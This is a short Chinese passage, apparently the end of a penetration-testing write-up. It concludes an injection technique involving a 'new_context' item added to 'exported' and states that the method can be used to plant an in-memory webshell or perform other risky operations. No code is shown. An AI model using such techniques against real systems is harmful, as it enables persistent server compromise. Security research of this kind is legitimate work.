其中new_context是原来exported中不存在的项。这里曾尝试过使用#对后面进行注释,但是发生了报错,具体原因没有研究清楚。
至此大功告成。基于这种方法我们可以植入内存马或进行其他风险操作。